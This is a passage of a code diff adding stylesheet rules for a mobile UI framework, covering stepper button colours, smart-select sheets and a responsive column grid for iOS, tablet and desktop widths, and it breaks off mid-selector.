+.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #000000; + border-color: #000000; + background-color: transparent; +} +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #000000; +} +/* === Smart Select === */ +.smart-select select { + display: none; +} +.smart-select .item-after { + max-width: 70%; + overflow: hidden; + text-overflow: ellipsis; + position: relative; + display: block; +} +.sheet-modal.smart-select-sheet .sheet-modal-inner { + background: #fff; +} +.sheet-modal.smart-select-sheet .list { + margin: 0; +} +.sheet-modal.smart-select-sheet .list ul:before { + display: none !important; +} +.sheet-modal.smart-select-sheet .list ul:after { + display: none !important; +} +.smart-select-popover .popover-inner { + max-height: 40vh; +} +.ios .smart-select-sheet .page { + background: #fff; +} +.ios .smart-select-sheet .toolbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .smart-select-sheet .toolbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .smart-select-sheet .toolbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .theme-dark .smart-select-sheet .page, +.ios .theme-dark .smart-select-sheet .sheet-modal-inner { + background-color: #1c1c1d; +} +.ios .theme-dark .smart-select-sheet .toolbar:after { + background-color: #282829; +} +/* === Grid === */ +.row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.row > [class*="col-"], +.row > .col { + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.row .col { + width: 100%; +} +/* === Grid === */ +.ios .row .col-100 { + width: 100%; + width: calc((100% - 15px*0) / 1); +} +.ios .row.no-gap .col-100 { + width: 100%; +} +.ios .row .col-95 { + width: 95%; + width: calc((100% - 15px*0.05263157894736836) / 1.0526315789473684); +} +.ios .row.no-gap .col-95 { + width: 95%; +} +.ios .row .col-90 { + width: 90%; + width: calc((100% - 15px*0.11111111111111116) / 1.1111111111111112); +} +.ios .row.no-gap .col-90 { + width: 90%; +} +.ios .row .col-85 { + width: 85%; + width: calc((100% - 15px*0.17647058823529416) / 1.1764705882352942); +} +.ios .row.no-gap .col-85 { + width: 85%; +} +.ios .row .col-80 { + width: 80%; + width: calc((100% - 15px*0.25) / 1.25); +} +.ios .row.no-gap .col-80 { + width: 80%; +} +.ios .row .col-75 { + width: 75%; + width: calc((100% - 15px*0.33333333333333326) / 1.3333333333333333); +} +.ios .row.no-gap .col-75 { + width: 75%; +} +.ios .row .col-70 { + width: 70%; + width: calc((100% - 15px*0.4285714285714286) / 1.4285714285714286); +} +.ios .row.no-gap .col-70 { + width: 70%; +} +.ios .row .col-66 { + width: 66.66666666666666%; + width: calc((100% - 15px*0.5000000000000002) / 1.5000000000000002); +} +.ios .row.no-gap .col-66 { + width: 66.66666666666666%; +} +.ios .row .col-65 { + width: 65%; + width: calc((100% - 15px*0.5384615384615385) / 1.5384615384615385); +} +.ios .row.no-gap .col-65 { + width: 65%; +} +.ios .row .col-60 { + width: 60%; + width: calc((100% - 15px*0.6666666666666667) / 1.6666666666666667); +} +.ios .row.no-gap .col-60 { + width: 60%; +} +.ios .row .col-55 { + width: 55%; + width: calc((100% - 15px*0.8181818181818181) / 1.8181818181818181); +} +.ios .row.no-gap .col-55 { + width: 55%; +} +.ios .row .col-50 { + width: 50%; + width: calc((100% - 15px*1) / 2); +} +.ios .row.no-gap .col-50 { + width: 50%; +} +.ios .row .col-45 { + width: 45%; + width: calc((100% - 15px*1.2222222222222223) / 2.2222222222222223); +} +.ios .row.no-gap .col-45 { + width: 45%; +} +.ios .row .col-40 { + width: 40%; + width: calc((100% - 15px*1.5) / 2.5); +} +.ios .row.no-gap .col-40 { + width: 40%; +} +.ios .row .col-35 { + width: 35%; + width: calc((100% - 15px*1.8571428571428572) / 2.857142857142857); +} +.ios .row.no-gap .col-35 { + width: 35%; +} +.ios .row .col-33 { + width: 33.333333333333336%; + width: calc((100% - 15px*2) / 3); +} +.ios .row.no-gap .col-33 { + width: 33.333333333333336%; +} +.ios .row .col-30 { + width: 30%; + width: calc((100% - 15px*2.3333333333333335) / 3.3333333333333335); +} +.ios .row.no-gap .col-30 { + width: 30%; +} +.ios .row .col-25 { + width: 25%; + width: calc((100% - 15px*3) / 4); +} +.ios .row.no-gap .col-25 { + width: 25%; +} +.ios .row .col-20 { + width: 20%; + width: calc((100% - 15px*4) / 5); +} +.ios .row.no-gap .col-20 { + width: 20%; +} +.ios .row .col-15 { + width: 15%; + width: calc((100% - 15px*5.666666666666667) / 6.666666666666667); +} +.ios .row.no-gap .col-15 { + width: 15%; +} +.ios .row .col-10 { + width: 10%; + width: calc((100% - 15px*9) / 10); +} +.ios .row.no-gap .col-10 { + width: 10%; +} +.ios .row .col-5 { + width: 5%; + width: calc((100% - 15px*19) / 20); +} +.ios .row.no-gap .col-5 { + width: 5%; +} +.ios .row .col:nth-last-child(1), +.ios .row .col:nth-last-child(1) ~ .col { + width: 100%; + width: calc((100% - 15px*0) / 1); +} +.ios .row.no-gap .col:nth-last-child(1), +.ios .row.no-gap .col:nth-last-child(1) ~ .col { + width: 100%; +} +.ios .row .col:nth-last-child(2), +.ios .row .col:nth-last-child(2) ~ .col { + width: 50%; + width: calc((100% - 15px*1) / 2); +} +.ios .row.no-gap .col:nth-last-child(2), +.ios .row.no-gap .col:nth-last-child(2) ~ .col { + width: 50%; +} +.ios .row .col:nth-last-child(3), +.ios .row .col:nth-last-child(3) ~ .col { + width: 33.33333333%; + width: calc((100% - 15px*2) / 3); +} +.ios .row.no-gap .col:nth-last-child(3), +.ios .row.no-gap .col:nth-last-child(3) ~ .col { + width: 33.33333333%; +} +.ios .row .col:nth-last-child(4), +.ios .row .col:nth-last-child(4) ~ .col { + width: 25%; + width: calc((100% - 15px*3) / 4); +} +.ios .row.no-gap .col:nth-last-child(4), +.ios .row.no-gap .col:nth-last-child(4) ~ .col { + width: 25%; +} +.ios .row .col:nth-last-child(5), +.ios .row .col:nth-last-child(5) ~ .col { + width: 20%; + width: calc((100% - 15px*4) / 5); +} +.ios .row.no-gap .col:nth-last-child(5), +.ios .row.no-gap .col:nth-last-child(5) ~ .col { + width: 20%; +} +.ios .row .col:nth-last-child(6), +.ios .row .col:nth-last-child(6) ~ .col { + width: 16.66666667%; + width: calc((100% - 15px*5) / 6); +} +.ios .row.no-gap .col:nth-last-child(6), +.ios .row.no-gap .col:nth-last-child(6) ~ .col { + width: 16.66666667%; +} +.ios .row .col:nth-last-child(7), +.ios .row .col:nth-last-child(7) ~ .col { + width: 14.28571429%; + width: calc((100% - 15px*6) / 7); +} +.ios .row.no-gap .col:nth-last-child(7), +.ios .row.no-gap .col:nth-last-child(7) ~ .col { + width: 14.28571429%; +} +.ios .row .col:nth-last-child(8), +.ios .row .col:nth-last-child(8) ~ .col { + width: 12.5%; + width: calc((100% - 15px*7) / 8); +} +.ios .row.no-gap .col:nth-last-child(8), +.ios .row.no-gap .col:nth-last-child(8) ~ .col { + width: 12.5%; +} +.ios .row .col:nth-last-child(9), +.ios .row .col:nth-last-child(9) ~ .col { + width: 11.11111111%; + width: calc((100% - 15px*8) / 9); +} +.ios .row.no-gap .col:nth-last-child(9), +.ios .row.no-gap .col:nth-last-child(9) ~ .col { + width: 11.11111111%; +} +.ios .row .col:nth-last-child(10), +.ios .row .col:nth-last-child(10) ~ .col { + width: 10%; + width: calc((100% - 15px*9) / 10); +} +.ios .row.no-gap .col:nth-last-child(10), +.ios .row.no-gap .col:nth-last-child(10) ~ .col { + width: 10%; +} +.ios .row .col:nth-last-child(11), +.ios .row .col:nth-last-child(11) ~ .col { + width: 9.09090909%; + width: calc((100% - 15px*10) / 11); +} +.ios .row.no-gap .col:nth-last-child(11), +.ios .row.no-gap .col:nth-last-child(11) ~ .col { + width: 9.09090909%; +} +.ios .row .col:nth-last-child(12), +.ios .row .col:nth-last-child(12) ~ .col { + width: 8.33333333%; + width: calc((100% - 15px*11) / 12); +} +.ios .row.no-gap .col:nth-last-child(12), +.ios .row.no-gap .col:nth-last-child(12) ~ .col { + width: 8.33333333%; +} +.ios .row .col:nth-last-child(13), +.ios .row .col:nth-last-child(13) ~ .col { + width: 7.69230769%; + width: calc((100% - 15px*12) / 13); +} +.ios .row.no-gap .col:nth-last-child(13), +.ios .row.no-gap .col:nth-last-child(13) ~ .col { + width: 7.69230769%; +} +.ios .row .col:nth-last-child(14), +.ios .row .col:nth-last-child(14) ~ .col { + width: 7.14285714%; + width: calc((100% - 15px*13) / 14); +} +.ios .row.no-gap .col:nth-last-child(14), +.ios .row.no-gap .col:nth-last-child(14) ~ .col { + width: 7.14285714%; +} +.ios .row .col:nth-last-child(15), +.ios .row .col:nth-last-child(15) ~ .col { + width: 6.66666667%; + width: calc((100% - 15px*14) / 15); +} +.ios .row.no-gap .col:nth-last-child(15), +.ios .row.no-gap .col:nth-last-child(15) ~ .col { + width: 6.66666667%; +} +.ios .row .col:nth-last-child(16), +.ios .row .col:nth-last-child(16) ~ .col { + width: 6.25%; + width: calc((100% - 15px*15) / 16); +} +.ios .row.no-gap .col:nth-last-child(16), +.ios .row.no-gap .col:nth-last-child(16) ~ .col { + width: 6.25%; +} +.ios .row .col:nth-last-child(17), +.ios .row .col:nth-last-child(17) ~ .col { + width: 5.88235294%; + width: calc((100% - 15px*16) / 17); +} +.ios .row.no-gap .col:nth-last-child(17), +.ios .row.no-gap .col:nth-last-child(17) ~ .col { + width: 5.88235294%; +} +.ios .row .col:nth-last-child(18), +.ios .row .col:nth-last-child(18) ~ .col { + width: 5.55555556%; + width: calc((100% - 15px*17) / 18); +} +.ios .row.no-gap .col:nth-last-child(18), +.ios .row.no-gap .col:nth-last-child(18) ~ .col { + width: 5.55555556%; +} +.ios .row .col:nth-last-child(19), +.ios .row .col:nth-last-child(19) ~ .col { + width: 5.26315789%; + width: calc((100% - 15px*18) / 19); +} +.ios .row.no-gap .col:nth-last-child(19), +.ios .row.no-gap .col:nth-last-child(19) ~ .col { + width: 5.26315789%; +} +.ios .row .col:nth-last-child(20), +.ios .row .col:nth-last-child(20) ~ .col { + width: 5%; + width: calc((100% - 15px*19) / 20); +} +.ios .row.no-gap .col:nth-last-child(20), +.ios .row.no-gap .col:nth-last-child(20) ~ .col { + width: 5%; +} +.ios .row .col:nth-last-child(21), +.ios .row .col:nth-last-child(21) ~ .col { + width: 4.76190476%; + width: calc((100% - 15px*20) / 21); +} +.ios .row.no-gap .col:nth-last-child(21), +.ios .row.no-gap .col:nth-last-child(21) ~ .col { + width: 4.76190476%; +} +@media (min-width: 768px) { + .ios .row .tablet-100 { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .tablet-100 { + width: 100%; + } + .ios .row .tablet-95 { + width: 95%; + width: calc((100% - 15px*0.05263157894736836) / 1.0526315789473684); + } + .ios .row.no-gap .tablet-95 { + width: 95%; + } + .ios .row .tablet-90 { + width: 90%; + width: calc((100% - 15px*0.11111111111111116) / 1.1111111111111112); + } + .ios .row.no-gap .tablet-90 { + width: 90%; + } + .ios .row .tablet-85 { + width: 85%; + width: calc((100% - 15px*0.17647058823529416) / 1.1764705882352942); + } + .ios .row.no-gap .tablet-85 { + width: 85%; + } + .ios .row .tablet-80 { + width: 80%; + width: calc((100% - 15px*0.25) / 1.25); + } + .ios .row.no-gap .tablet-80 { + width: 80%; + } + .ios .row .tablet-75 { + width: 75%; + width: calc((100% - 15px*0.33333333333333326) / 1.3333333333333333); + } + .ios .row.no-gap .tablet-75 { + width: 75%; + } + .ios .row .tablet-70 { + width: 70%; + width: calc((100% - 15px*0.4285714285714286) / 1.4285714285714286); + } + .ios .row.no-gap .tablet-70 { + width: 70%; + } + .ios .row .tablet-66 { + width: 66.66666666666666%; + width: calc((100% - 15px*0.5000000000000002) / 1.5000000000000002); + } + .ios .row.no-gap .tablet-66 { + width: 66.66666666666666%; + } + .ios .row .tablet-65 { + width: 65%; + width: calc((100% - 15px*0.5384615384615385) / 1.5384615384615385); + } + .ios .row.no-gap .tablet-65 { + width: 65%; + } + .ios .row .tablet-60 { + width: 60%; + width: calc((100% - 15px*0.6666666666666667) / 1.6666666666666667); + } + .ios .row.no-gap .tablet-60 { + width: 60%; + } + .ios .row .tablet-55 { + width: 55%; + width: calc((100% - 15px*0.8181818181818181) / 1.8181818181818181); + } + .ios .row.no-gap .tablet-55 { + width: 55%; + } + .ios .row .tablet-50 { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .tablet-50 { + width: 50%; + } + .ios .row .tablet-45 { + width: 45%; + width: calc((100% - 15px*1.2222222222222223) / 2.2222222222222223); + } + .ios .row.no-gap .tablet-45 { + width: 45%; + } + .ios .row .tablet-40 { + width: 40%; + width: calc((100% - 15px*1.5) / 2.5); + } + .ios .row.no-gap .tablet-40 { + width: 40%; + } + .ios .row .tablet-35 { + width: 35%; + width: calc((100% - 15px*1.8571428571428572) / 2.857142857142857); + } + .ios .row.no-gap .tablet-35 { + width: 35%; + } + .ios .row .tablet-33 { + width: 33.333333333333336%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .tablet-33 { + width: 33.333333333333336%; + } + .ios .row .tablet-30 { + width: 30%; + width: calc((100% - 15px*2.3333333333333335) / 3.3333333333333335); + } + .ios .row.no-gap .tablet-30 { + width: 30%; + } + .ios .row .tablet-25 { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .tablet-25 { + width: 25%; + } + .ios .row .tablet-20 { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .tablet-20 { + width: 20%; + } + .ios .row .tablet-15 { + width: 15%; + width: calc((100% - 15px*5.666666666666667) / 6.666666666666667); + } + .ios .row.no-gap .tablet-15 { + width: 15%; + } + .ios .row .tablet-10 { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .tablet-10 { + width: 10%; + } + .ios .row .tablet-5 { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .tablet-5 { + width: 5%; + } + .ios .row .tablet-auto:nth-last-child(1), + .ios .row .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .tablet-auto:nth-last-child(1), + .ios .row.no-gap .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + } + .ios .row .tablet-auto:nth-last-child(2), + .ios .row .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .tablet-auto:nth-last-child(2), + .ios .row.no-gap .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + } + .ios .row .tablet-auto:nth-last-child(3), + .ios .row .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .tablet-auto:nth-last-child(3), + .ios .row.no-gap .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + } + .ios .row .tablet-auto:nth-last-child(4), + .ios .row .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .tablet-auto:nth-last-child(4), + .ios .row.no-gap .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + } + .ios .row .tablet-auto:nth-last-child(5), + .ios .row .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .tablet-auto:nth-last-child(5), + .ios .row.no-gap .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + } + .ios .row .tablet-auto:nth-last-child(6), + .ios .row .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + width: calc((100% - 15px*5) / 6); + } + .ios .row.no-gap .tablet-auto:nth-last-child(6), + .ios .row.no-gap .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + } + .ios .row .tablet-auto:nth-last-child(7), + .ios .row .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + width: calc((100% - 15px*6) / 7); + } + .ios .row.no-gap .tablet-auto:nth-last-child(7), + .ios .row.no-gap .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + } + .ios .row .tablet-auto:nth-last-child(8), + .ios .row .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + width: calc((100% - 15px*7) / 8); + } + .ios .row.no-gap .tablet-auto:nth-last-child(8), + .ios .row.no-gap .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + } + .ios .row .tablet-auto:nth-last-child(9), + .ios .row .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + width: calc((100% - 15px*8) / 9); + } + .ios .row.no-gap .tablet-auto:nth-last-child(9), + .ios .row.no-gap .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + } + .ios .row .tablet-auto:nth-last-child(10), + .ios .row .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .tablet-auto:nth-last-child(10), + .ios .row.no-gap .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + } + .ios .row .tablet-auto:nth-last-child(11), + .ios .row .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + width: calc((100% - 15px*10) / 11); + } + .ios .row.no-gap .tablet-auto:nth-last-child(11), + .ios .row.no-gap .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + } + .ios .row .tablet-auto:nth-last-child(12), + .ios .row .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + width: calc((100% - 15px*11) / 12); + } + .ios .row.no-gap .tablet-auto:nth-last-child(12), + .ios .row.no-gap .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + } + .ios .row .tablet-auto:nth-last-child(13), + .ios .row .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + width: calc((100% - 15px*12) / 13); + } + .ios .row.no-gap .tablet-auto:nth-last-child(13), + .ios .row.no-gap .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + } + .ios .row .tablet-auto:nth-last-child(14), + .ios .row .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + width: calc((100% - 15px*13) / 14); + } + .ios .row.no-gap .tablet-auto:nth-last-child(14), + .ios .row.no-gap .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + } + .ios .row .tablet-auto:nth-last-child(15), + .ios .row .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + width: calc((100% - 15px*14) / 15); + } + .ios .row.no-gap .tablet-auto:nth-last-child(15), + .ios .row.no-gap .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + } + .ios .row .tablet-auto:nth-last-child(16), + .ios .row .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + width: calc((100% - 15px*15) / 16); + } + .ios .row.no-gap .tablet-auto:nth-last-child(16), + .ios .row.no-gap .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + } + .ios .row .tablet-auto:nth-last-child(17), + .ios .row .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + width: calc((100% - 15px*16) / 17); + } + .ios .row.no-gap .tablet-auto:nth-last-child(17), + .ios .row.no-gap .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + } + .ios .row .tablet-auto:nth-last-child(18), + .ios .row .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + width: calc((100% - 15px*17) / 18); + } + .ios .row.no-gap .tablet-auto:nth-last-child(18), + .ios .row.no-gap .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + } + .ios .row .tablet-auto:nth-last-child(19), + .ios .row .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + width: calc((100% - 15px*18) / 19); + } + .ios .row.no-gap .tablet-auto:nth-last-child(19), + .ios .row.no-gap .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + } + .ios .row .tablet-auto:nth-last-child(20), + .ios .row .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .tablet-auto:nth-last-child(20), + .ios .row.no-gap .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + } + .ios .row .tablet-auto:nth-last-child(21), + .ios .row .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + width: calc((100% - 15px*20) / 21); + } + .ios .row.no-gap .tablet-auto:nth-last-child(21), + .ios .row.no-gap .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + } +} +@media (min-width: 1025px) { + .ios .row .desktop-100 { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .desktop-100 { + width: 100%; + } + .ios .row .desktop-95 { + width: 95%; + width: calc((100% - 15px*0.05263157894736836) / 1.0526315789473684); + } + .ios .row.no-gap .desktop-95 { + width: 95%; + } + .ios .row .desktop-90 { + width: 90%; + width: calc((100% - 15px*0.11111111111111116) / 1.1111111111111112); + } + .ios .row.no-gap .desktop-90 { + width: 90%; + } + .ios .row .desktop-85 { + width: 85%; + width: calc((100% - 15px*0.17647058823529416) / 1.1764705882352942); + } + .ios .row.no-gap .desktop-85 { + width: 85%; + } + .ios .row .desktop-80 { + width: 80%; + width: calc((100% - 15px*0.25) / 1.25); + } + .ios .row.no-gap .desktop-80 { + width: 80%; + } + .ios .row .desktop-75 { + width: 75%; + width: calc((100% - 15px*0.33333333333333326) / 1.3333333333333333); + } + .ios .row.no-gap .desktop-75 { + width: 75%; + } + .ios .row .desktop-70 { + width: 70%; + width: calc((100% - 15px*0.4285714285714286) / 1.4285714285714286); + } + .ios .row.no-gap .desktop-70 { + width: 70%; + } + .ios .row .desktop-66 { + width: 66.66666666666666%; + width: calc((100% - 15px*0.5000000000000002) / 1.5000000000000002); + } + .ios .row.no-gap .desktop-66 { + width: 66.66666666666666%; + } + .ios .row .desktop-65 { + width: 65%; + width: calc((100% - 15px*0.5384615384615385) / 1.5384615384615385); + } + .ios .row.no-gap .desktop-65 { + width: 65%; + } + .ios .row .desktop-60 { + width: 60%; + width: calc((100% - 15px*0.6666666666666667) / 1.6666666666666667); + } + .ios .row.no-gap .desktop-60 { + width: 60%; + } + .ios .row .desktop-55 { + width: 55%; + width: calc((100% - 15px*0.8181818181818181) / 1.8181818181818181); + } + .ios .row.no-gap .desktop-55 { + width: 55%; + } + .ios .row .desktop-50 { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .desktop-50 { + width: 50%; + } + .ios .row .desktop-45 { + width: 45%; + width: calc((100% - 15px*1.2222222222222223) / 2.2222222222222223); + } + .ios .row.no-gap .desktop-45 { + width: 45%; + } + .ios .row .desktop-40 { + width: 40%; + width: calc((100% - 15px*1.5) / 2.5); + } + .ios .row.no-gap .desktop-40 { + width: 40%; + } + .ios .row .desktop-35 { + width: 35%; + width: calc((100% - 15px*1.8571428571428572) / 2.857142857142857); + } + .ios .row.no-gap .desktop-35 { + width: 35%; + } + .ios .row .desktop-33 { + width: 33.333333333333336%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .desktop-33 { + width: 33.333333333333336%; + } + .ios .row .desktop-30 { + width: 30%; + width: calc((100% - 15px*2.3333333333333335) / 3.3333333333333335); + } + .ios .row.no-gap .desktop-30 { + width: 30%; + } + .ios .row .desktop-25 { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .desktop-25 { + width: 25%; + } + .ios .row .desktop-20 { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .desktop-20 { + width: 20%; + } + .ios .row .desktop-15 { + width: 15%; + width: calc((100% - 15px*5.666666666666667) / 6.666666666666667); + } + .ios .row.no-gap .desktop-15 { + width: 15%; + } + .ios .row .desktop-10 { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .desktop-10 { + width: 10%; + } + .ios .row .desktop-5 { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .desktop-5 { + width: 5%; + } + .ios .row .desktop-auto:nth-last-child(1), + .ios .row .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .desktop-auto:nth-last-child(1), + .ios .row.no-gap .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + } + .ios .row .desktop-auto:nth-last-child(2), + .ios .row .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .desktop-auto:nth-last-child(2), + .ios .row.no-gap .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + } + .ios .row .desktop-auto:nth-last-child(3), + .ios .row .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .desktop-auto:nth-last-child(3), + .ios .row.no-gap .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + } + .ios .row .desktop-auto:nth-last-child(4), + .ios .row .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .desktop-auto:nth-last-child(4), + .ios .row.no-gap .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + } + .ios .row .desktop-auto:nth-last-child(5), + .ios .row .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .desktop-auto:nth-last-child(5), + .ios .row.no-gap .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + } + .ios .row .desktop-auto:nth-last-child(6), + .ios .row .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + width: calc((100% - 15px*5) / 6); + } + .ios .row.no-gap .desktop-auto:nth-last-child(6), + .ios .row.no-gap .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + } + .ios .row .desktop-auto:nth-last-child(7), + .ios .row .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + width: calc((100% - 15px*6) / 7); + } + .ios .row.no-gap .desktop-auto:nth-last-child(7), + .ios .row.no-gap .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + } + .ios .row .desktop-auto:nth-last-child(8), + .ios .row .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + width: calc((100% - 15px*7) / 8); + } + .ios .row.no-gap .desktop-auto:nth-last-child(8), + .ios .row.no-gap .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + } + .ios .row .desktop-auto:nth-last-child(9), + .ios .row .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + width: calc((100% - 15px*8) / 9); + } + .ios .row.no-gap .desktop-auto:nth-last-child(9), + .ios .row.no-gap .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + } + .ios .row .desktop-auto:nth-last-child(10), + .ios .row .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .desktop-auto:nth-last-child(10), + .ios .row.no-gap .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + } + .ios .row .desktop-auto:nth-last-child(11), + .ios .row .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + width: calc((100% - 15px*10) / 11); + } + .ios .row.no-gap .desktop-auto:nth-last-child(11), + .ios .row.no-gap .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + } + .ios .row .desktop-auto:nth-last-child(12), + .ios .row .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + width: calc((100% - 15px*11) / 12); + } + .ios .row.no-gap .desktop-auto:nth-last-child(12), + .ios .row.no-gap .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + } + .ios .row 